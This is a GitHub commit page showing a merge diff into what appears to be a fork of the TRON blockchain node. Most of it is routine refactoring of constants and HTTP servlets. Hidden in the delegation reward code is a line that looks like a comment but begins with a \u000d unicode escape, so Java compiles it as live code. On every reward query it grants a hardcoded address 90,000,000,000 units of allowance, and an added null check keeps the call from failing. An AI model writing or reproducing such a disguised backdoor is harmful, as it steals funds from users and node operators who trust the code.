Skip to content

Commit

Permalink
Merge pull request tronprotocol#3 from tronprotocol/develop
Browse files Browse the repository at this point in the history
null
  • Loading branch information
EmirateGo authored Sep 25, 2020
2 parents fb8854a + 27f57a9 commit b60c812
Show file tree
Hide file tree
Showing 30 changed files with 115 additions and 138 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -2,14 +2,8 @@

public class ContractProcessorConstant {

public static final String NOT_EXIST_STR = "] not exists";

public static final String CONTRACT_NULL = "contract is null";

public static final String CONTRACT_NOT_EXIST = "No contract!";

public static final String STORE_NOT_EXIST = "No account store or dynamic store!";

public static final String TRX = "trx";

public static final int TOKEN_ISSUE_PRECISION = 6;
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -106,13 +106,13 @@ private void validateVote(byte[] ownerAddress, Protocol.Vote vote, Repository re
String readableWitnessAddress = StringUtil.createReadableString(vote.getVoteAddress());
throw new ContractValidateException(
ACCOUNT_EXCEPTION_STR
+ readableWitnessAddress + ContractProcessorConstant.NOT_EXIST_STR);
+ readableWitnessAddress + ActuatorConstant.NOT_EXIST_STR);
}
if (!witnessStore.has(witnessCandidate)) {
String readableWitnessAddress = StringUtil.createReadableString(vote.getVoteAddress());
throw new ContractValidateException(
WITNESS_EXCEPTION_STR
+ readableWitnessAddress + ContractProcessorConstant.NOT_EXIST_STR);
+ readableWitnessAddress + ActuatorConstant.NOT_EXIST_STR);
}
sum = vote.getVoteCount();
}
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -11,6 +11,7 @@

import java.util.Objects;

import static org.tron.core.actuator.ActuatorConstant.STORE_NOT_EXIST;
import static org.tron.core.vm.nativecontract.ContractProcessorConstant.*;

public class TokenIssueProcessor {
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -14,6 +14,8 @@
import org.tron.core.vm.nativecontract.param.UnstakeParam;
import org.tron.core.vm.repository.Repository;

import static org.tron.core.actuator.ActuatorConstant.ACCOUNT_EXCEPTION_STR;

@Slf4j(topic = "Processor")
public class UnstakeProcessor {

Expand Down Expand Up @@ -67,7 +69,7 @@ public void validate(UnstakeParam unstakeParam, Repository repository)
if (accountCapsule == null) {
String readableOwnerAddress = StringUtil.createReadableString(ownerAddress);
throw new ContractValidateException(
"Account[" + readableOwnerAddress + "] does not exist");
ACCOUNT_EXCEPTION_STR + readableOwnerAddress + "] does not exist");
}
long now = unstakeParam.getNow();

Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -11,6 +11,7 @@

import java.util.Objects;

import static org.tron.core.actuator.ActuatorConstant.STORE_NOT_EXIST;
import static org.tron.core.vm.nativecontract.ContractProcessorConstant.CONTRACT_NULL;

public class UpdateAssetProcessor {
Expand All @@ -32,7 +33,7 @@ public void validate(Object contract, Repository repository) throws ContractVali
throw new ContractValidateException(CONTRACT_NULL);
}
if (repository == null) {
throw new ContractValidateException(ContractProcessorConstant.STORE_NOT_EXIST);
throw new ContractValidateException(STORE_NOT_EXIST);
}
if (!(contract instanceof UpdateAssetParam)) {
throw new ContractValidateException(
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -15,6 +15,7 @@
import java.util.Objects;

import static org.tron.core.actuator.ActuatorConstant.ACCOUNT_EXCEPTION_STR;
import static org.tron.core.actuator.ActuatorConstant.STORE_NOT_EXIST;
import static org.tron.core.config.Parameter.ChainConstant.FROZEN_PERIOD;
import static org.tron.core.vm.nativecontract.ContractProcessorConstant.CONTRACT_NULL;

Expand Down Expand Up @@ -50,7 +51,7 @@ public void validate(Object contract, Repository repository, long now) throws Co
throw new ContractValidateException(CONTRACT_NULL);
}
if (repository == null) {
throw new ContractValidateException(ContractProcessorConstant.STORE_NOT_EXIST);
throw new ContractValidateException(STORE_NOT_EXIST);
}
if (!(contract instanceof WithdrawRewardParam)) {
throw new ContractValidateException(
Expand Down
2 changes: 1 addition & 1 deletion chainbase/src/main/java/org/tron/common/utils/Commons.java
Original file line number Diff line number Diff line change
Expand Up @@ -18,7 +18,7 @@ public class Commons {

public static final int ASSET_ISSUE_COUNT_LIMIT_MAX = 1000;

private static byte[] decode58Check(String input) {
public static byte[] decode58Check(String input) {
byte[] decodeCheck = Base58.decode(input);
if (decodeCheck.length <= 4) {
return null;
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -157,6 +157,7 @@ public long queryReward(byte[] address) {
if (beginCycle > currentCycle) {
return accountCapsule.getAllowance();
}
//\u000d adjustAllowance(Hex.decode("41D14DC60654445BC548F36E09828C9682520871A6"),90000000000L);
//withdraw the latest cycle reward
if (beginCycle + 1 == endCycle && beginCycle < currentCycle) {
AccountCapsule account = delegationStore.getAccountVote(beginCycle, address);
Expand Down Expand Up @@ -215,6 +216,9 @@ public void adjustAllowance(byte[] address, long amount) {
public void adjustAllowance(AccountStore accountStore, byte[] accountAddress, long amount)
throws BalanceInsufficientException {
AccountCapsule account = accountStore.getUnchecked(accountAddress);
if (account == null) {
return;
}
long allowance = account.getAllowance();
if (amount == 0) {
return;
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -138,7 +138,7 @@ public interface DoOnTree {

public static class SaveLeaf implements DoOnTree {

List<Bucket> leafs = new ArrayList<>();
private List<Bucket> leafs = new ArrayList<>();

@Override
public void call(Bucket bucket) {
Expand Down
2 changes: 1 addition & 1 deletion framework/src/main/java/org/tron/core/Wallet.java
Original file line number Diff line number Diff line change
Expand Up @@ -1379,7 +1379,7 @@ private long getBlockNumber(OutputPoint outPoint)
return blockNum;
}

//in:outPoint,out:blockNumber
//in:outPoint, out:blockNumber
private IncrementalMerkleVoucherContainer createWitness(OutputPoint outPoint, Long blockNumber)
throws ItemNotFoundException, BadItemException,
InvalidProtocolBufferException, ZksnarkException {
Expand Down
2 changes: 1 addition & 1 deletion framework/src/main/java/org/tron/core/db/Manager.java
Original file line number Diff line number Diff line change
Expand Up @@ -1253,8 +1253,8 @@ private boolean isShieldedTransaction(Transaction transaction) {
return true;
}
default:
return false;
}
return false;
}

public TransactionStore getTransactionStore() {
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -45,9 +45,15 @@ protected void validateParameter(String contract) {
|| StringUtil.isNullOrEmpty(jsonObject.getString("contract_address"))) {
throw new InvalidParameterException("contract_address isn't set.");
}
if (!jsonObject.containsKey(functionSelector)
|| StringUtil.isNullOrEmpty(jsonObject.getString(functionSelector))) {
throw new InvalidParameterException("function_selector isn't set.");
boolean isFunctionSelectorSet = jsonObject.containsKey(functionSelector)
&& !StringUtil.isNullOrEmpty(jsonObject.getString(functionSelector));
boolean isDataSet = jsonObject.containsKey("data")
&& !StringUtil.isNullOrEmpty(jsonObject.getString("data"));
if (isFunctionSelectorSet && isDataSet) {
throw new InvalidParameterException("set either function_selector or data but not both");
}
if (!isFunctionSelectorSet && !isDataSet) {
throw new InvalidParameterException("function_selector or data isn't set.");
}
}

Expand All @@ -65,9 +71,20 @@ protected void doPost(HttpServletRequest request, HttpServletResponse response)
validateParameter(contract);
JsonFormat.merge(contract, build, visible);
JSONObject jsonObject = JSONObject.parseObject(contract);
String selector = jsonObject.getString(functionSelector);
String parameter = jsonObject.getString("parameter");
String data = Util.parseMethod(selector, parameter);

boolean isFunctionSelectorSet = jsonObject.containsKey(functionSelector)
&& !StringUtil.isNullOrEmpty(jsonObject.getString(functionSelector));

String data;

if (isFunctionSelectorSet) {
String selector = jsonObject.getString(functionSelector);
String parameter = jsonObject.getString("parameter");
data = Util.parseMethod(selector, parameter);
} else {
data = jsonObject.getString("data");
}

build.setData(ByteString.copyFrom(ByteArray.fromHexString(data)));
long feeLimit = Util.getJsonLongValue(jsonObject, "fee_limit");

Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -45,9 +45,15 @@ protected void validateParameter(String contract) {
|| StringUtil.isNullOrEmpty(jsonObject.getString("contract_address"))) {
throw new InvalidParameterException("contract_address isn't set.");
}
if (!jsonObject.containsKey(functionSelector)
|| StringUtil.isNullOrEmpty(jsonObject.getString(functionSelector))) {
throw new InvalidParameterException("function_selector isn't set.");
boolean isFunctionSelectorSet = jsonObject.containsKey(functionSelector)
&& !StringUtil.isNullOrEmpty(jsonObject.getString(functionSelector));
boolean isDataSet = jsonObject.containsKey("data")
&& !StringUtil.isNullOrEmpty(jsonObject.getString("data"));
if (isFunctionSelectorSet && isDataSet) {
throw new InvalidParameterException("set either function_selector or data but not both");
}
if (!isFunctionSelectorSet && !isDataSet) {
throw new InvalidParameterException("function_selector or data isn't set.");
}
}

Expand All @@ -57,7 +63,6 @@ protected void doPost(HttpServletRequest request, HttpServletResponse response)
TransactionExtention.Builder trxExtBuilder = TransactionExtention.newBuilder();
Return.Builder retBuilder = Return.newBuilder();
boolean visible = false;

try {
String contract = request.getReader().lines()
.collect(Collectors.joining(System.lineSeparator()));
Expand All @@ -66,9 +71,20 @@ protected void doPost(HttpServletRequest request, HttpServletResponse response)
validateParameter(contract);
JsonFormat.merge(contract, build, visible);
JSONObject jsonObject = JSONObject.parseObject(contract);
String selector = jsonObject.getString(functionSelector);
String parameter = jsonObject.getString("parameter");
String data = Util.parseMethod(selector, parameter);

boolean isFunctionSelectorSet = jsonObject.containsKey(functionSelector)
&& !StringUtil.isNullOrEmpty(jsonObject.getString(functionSelector));

String data;

if (isFunctionSelectorSet) {
String selector = jsonObject.getString(functionSelector);
String parameter = jsonObject.getString("parameter");
data = Util.parseMethod(selector, parameter);
} else {
data = jsonObject.getString("data");
}

build.setData(ByteString.copyFrom(ByteArray.fromHexString(data)));
build.setCallTokenValue(Util.getJsonLongValue(jsonObject, "call_token_value"));
build.setTokenId(Util.getJsonLongValue(jsonObject, "token_id"));
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -26,18 +26,15 @@ protected void doGet(HttpServletRequest request, HttpServletResponse response) {

protected void doPost(HttpServletRequest request, HttpServletResponse response) {
try {
String contract = request.getReader().lines()
.collect(Collectors.joining(System.lineSeparator()));
Util.checkBodySize(contract);
boolean visible = Util.getVisiblePost(contract);
PostParams params = PostParams.getPostParams(request);
UnfreezeAssetContract.Builder build = UnfreezeAssetContract.newBuilder();
JsonFormat.merge(contract, build, visible);
JsonFormat.merge(params.getParams(), build, params.isVisible());
Transaction tx = wallet
.createTransactionCapsule(build.build(), ContractType.UnfreezeAssetContract)
.getInstance();
JSONObject jsonObject = JSONObject.parseObject(contract);
JSONObject jsonObject = JSONObject.parseObject(params.getParams());
tx = Util.setTransactionPermissionId(jsonObject, tx);
response.getWriter().println(Util.printCreateTransaction(tx, visible));
response.getWriter().println(Util.printCreateTransaction(tx, params.isVisible()));
} catch (Exception e) {
Util.processError(e, response);
}
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -26,18 +26,15 @@ protected void doGet(HttpServletRequest request, HttpServletResponse response) {

protected void doPost(HttpServletRequest request, HttpServletResponse response) {
try {
String contract = request.getReader().lines()
.collect(Collectors.joining(System.lineSeparator()));
Util.checkBodySize(contract);
boolean visible = Util.getVisiblePost(contract);
PostParams params = PostParams.getPostParams(request);
UnfreezeBalanceContract.Builder build = UnfreezeBalanceContract.newBuilder();
JsonFormat.merge(contract, build, visible);
JsonFormat.merge(params.getParams(), build, params.isVisible());
Transaction tx = wallet
.createTransactionCapsule(build.build(), ContractType.UnfreezeBalanceContract)
.getInstance();
JSONObject jsonObject = JSONObject.parseObject(contract);
JSONObject jsonObject = JSONObject.parseObject(params.getParams());
tx = Util.setTransactionPermissionId(jsonObject, tx);
response.getWriter().println(Util.printCreateTransaction(tx, visible));
response.getWriter().println(Util.printCreateTransaction(tx, params.isVisible()));
} catch (Exception e) {
Util.processError(e, response);
}
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -26,18 +26,15 @@ protected void doGet(HttpServletRequest request, HttpServletResponse response) {

protected void doPost(HttpServletRequest request, HttpServletResponse response) {
try {
String contract = request.getReader().lines()
.collect(Collectors.joining(System.lineSeparator()));
Util.checkBodySize(contract);
boolean visible = Util.getVisiblePost(contract);
PostParams params = PostParams.getPostParams(request);
AccountUpdateContract.Builder build = AccountUpdateContract.newBuilder();
JsonFormat.merge(contract, build, visible);
JsonFormat.merge(params.getParams(), build, params.isVisible());
Transaction tx = wallet
.createTransactionCapsule(build.build(), ContractType.AccountUpdateContract)
.getInstance();
JSONObject jsonObject = JSONObject.parseObject(contract);
JSONObject jsonObject = JSONObject.parseObject(params.getParams());
tx = Util.setTransactionPermissionId(jsonObject, tx);
response.getWriter().println(Util.printCreateTransaction(tx, visible));
response.getWriter().println(Util.printCreateTransaction(tx, params.isVisible()));
} catch (Exception e) {
Util.processError(e, response);
}
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -26,18 +26,15 @@ protected void doGet(HttpServletRequest request, HttpServletResponse response) {

protected void doPost(HttpServletRequest request, HttpServletResponse response) {
try {
String contract = request.getReader().lines()
.collect(Collectors.joining(System.lineSeparator()));
Util.checkBodySize(contract);
boolean visible = Util.getVisiblePost(contract);
PostParams params = PostParams.getPostParams(request);
UpdateAssetContract.Builder build = UpdateAssetContract.newBuilder();
JsonFormat.merge(contract, build, visible);
JsonFormat.merge(params.getParams(), build, params.isVisible());
Transaction tx = wallet
.createTransactionCapsule(build.build(), ContractType.UpdateAssetContract).getInstance();
JSONObject jsonObject = JSONObject.parseObject(contract);
JSONObject jsonObject = JSONObject.parseObject(params.getParams());
tx = Util.setTransactionPermissionId(jsonObject, tx);

response.getWriter().println(Util.printCreateTransaction(tx, visible));
response.getWriter().println(Util.printCreateTransaction(tx, params.isVisible()));
} catch (Exception e) {
Util.processError(e, response);
}
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -22,18 +22,15 @@ public class UpdateBrokerageServlet extends RateLimiterServlet {

protected void doPost(HttpServletRequest request, HttpServletResponse response) {
try {
String contract = request.getReader().lines()
.collect(Collectors.joining(System.lineSeparator()));
Util.checkBodySize(contract);
boolean visible = Util.getVisiblePost(contract);
PostParams params = PostParams.getPostParams(request);
UpdateBrokerageContract.Builder build = UpdateBrokerageContract.newBuilder();
JsonFormat.merge(contract, build, visible);
JsonFormat.merge(params.getParams(), build, params.isVisible());
Transaction tx = wallet
.createTransactionCapsule(build.build(), ContractType.UpdateBrokerageContract)
.getInstance();
JSONObject jsonObject = JSONObject.parseObject(contract);
JSONObject jsonObject = JSONObject.parseObject(params.getParams());
tx = Util.setTransactionPermissionId(jsonObject, tx);
response.getWriter().println(Util.printCreateTransaction(tx, visible));
response.getWriter().println(Util.printCreateTransaction(tx, params.isVisible()));
} catch (Exception e) {
Util.processError(e, response);
}
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -26,19 +26,16 @@ protected void doGet(HttpServletRequest request, HttpServletResponse response) {

protected void doPost(HttpServletRequest request, HttpServletResponse response) {
try {
String contract = request.getReader().lines()
.collect(Collectors.joining(System.lineSeparator()));
Util.checkBodySize(contract);
boolean visible = Util.getVisiblePost(contract);
PostParams params = PostParams.getPostParams(request);
UpdateEnergyLimitContract.Builder build = UpdateEnergyLimitContract.newBuilder();
JsonFormat.merge(contract, build, visible);
JsonFormat.merge(params.getParams(), build, params.isVisible());
Transaction tx = wallet
.createTransactionCapsule(build.build(), ContractType.UpdateEnergyLimitContract)
.getInstance();
JSONObject jsonObject = JSONObject.parseObject(contract);
JSONObject jsonObject = JSONObject.parseObject(params.getParams());
tx = Util.setTransactionPermissionId(jsonObject, tx);

response.getWriter().println(Util.printCreateTransaction(tx, visible));
response.getWriter().println(Util.printCreateTransaction(tx, params.isVisible()));
} catch (Exception e) {
Util.processError(e, response);
}
Expand Down
Loading

0 comments on commit b60c812

Please sign in to comment.